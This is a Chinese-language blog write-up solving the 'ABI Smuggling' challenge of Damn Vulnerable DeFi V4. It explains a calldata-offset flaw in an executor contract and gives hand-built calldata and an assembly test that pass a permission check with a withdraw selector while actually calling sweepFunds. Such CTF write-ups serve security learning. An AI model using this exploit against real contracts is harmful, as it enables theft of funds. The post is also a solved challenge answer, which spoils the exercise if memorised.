Damn-vulnerable-defi-V4-solution(ABI Smuggling)

jerichou
2025-09-08 / 0 评论 / 5 阅读 / 正在检测是否收录...

一、ABI Smuggling

mf9litlz.png

背景:

我们拥有一个授权金库,其中包含 1,000,000e18 代币。该金库允许玩家每 15 天最多提取 1e18 代币。金库还允许特定用户清扫资金。

但是,此权限由AuthorizedExecutor.sol 中的以下函数强制执行,该函数由授权保险库继承;也就是说,withdrawsweepFunds只能由合约本身调用。因此,我们可以做的是调用该execute函数来调用保险库。

function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
        // Read the 4-bytes selector at the beginning of `actionData`
        bytes4 selector;
        uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
        assembly {
            selector := calldataload(calldataOffset)
        }

        if (!permissions[getActionId(selector, msg.sender, target)]) {
            revert NotAllowed();
        }

        _beforeFunctionCall(target, actionData);

        return target.functionCall(actionData);
    }

根据要求,上述函数中的权限仅允许以下任一操作:

  1. (selector, msg.sender, target) = (withdraw, player, vault)
  2. (selector, msg.sender, target) = (sweepFunds, sweeper, vault)

由于我们是 player,因此我们应该满足条件 1,但实际上要使条件 2 起作用,因为使用选项 1,我们每 15 天只能提取 1e18 个代币,然而总共有 1,000,000e18 个代币。

请注意,该execute函数通过读取 calldata 从第 100 个字节开始的 4 个字节来函数选择器execute。这通常是正确的,因为的 calldata结构如下:

execute.selector (4 bytes) + target (32 bytes) + offset (32 bytes, 0x40) + length (32 bytes) + selector

如果我们直接调用execute,偏移量(字节数据开始的位置;字节数据由bytes.length后跟组成bytes.data)为0x40,并且上面描述的结构成立。

然而,这并非必需,因为我们可以execute使用汇编语言调用,并强制将偏移量设置为,例如,0x80并将从位置 100(该位置本应是选择器,但现在由于新的偏移量而未使用)开始的调用数据设置为withdraw.selector,而实际被调用的函数是sweepFunds。更详细地说,我们构造的调用数据是:

// execute selector
0x1cff79cd
// vault.address 
0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264
// offset ->偏移量指向 actionData起始位置。0x80 是 128 字節 (第二個 32 字節)
0000000000000000000000000000000000000000000000000000000000000080
// 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節)
0000000000000000000000000000000000000000000000000000000000000000
// withdraw() 繞過檢查 (第四個 32 字節)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32)
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b
function test_abiSmuggling() public checkSolvedByPlayer {
        address vaultAddr = address(vault);
        address tokenAddr = address(token);
        address recoveryAddr = recovery;
        assembly {
            let p := mload(0x40) // 指向可用内存首地址
            mstore(p, shl(224, 0x1cff79cd)) // 由于mstore是按照 32字节为单位写入需要左移 224 位将 excute 函数的哈希前                                             // 四字节存储在32 字节中的高 4 字节中
            mstore(add(p, 0x04), vaultAddr) // 紧接着将vaultAddr存储到excute后面32 字节的低 20 字节  
            mstore(add(p, 0x24), 0x80)     // 0x24位置存储 actionData的calldata起始位置的offset 0x80(128)字节                                                // calldata起始位置即0xa4     
            mstore(add(p, 0x44), 0x00)     // 通常用来填充固定长度的位置 此处无用
            mstore(add(p, 0x64), shl(224, 0xd9caed12)) // 为了绕过excute检查填充 withdraw 
            mstore(add(p, 0x84), 0x44)    // 表示 actiondata 的长度是 68 字节
            mstore(add(p, 0xa4), shl(224, 0x85fb709d)) // 此处是真正我们植入的攻击函数 sweepfunds
            mstore(add(p, 0xa8), recoveryAddr)         // seepfunds 的参数 1 receiver
            mstore(add(p, 0xc8), tokenAddr)            // seepfunds 的参数 2 token
            let success:= call(gas(), vaultAddr, 0, p, 232, 0, 0)
            if iszero(success) {
                mstore(0x00, shl(224, 0x6c9d47e8)) // CallError() 把这32字节存到内存地址 0x00,作为revert的返回值
                revert(0, 4)        // 从内存地址 0x00 开始读只返回前 4 字节
            } 
        }
    }
1

评论 (0)

取消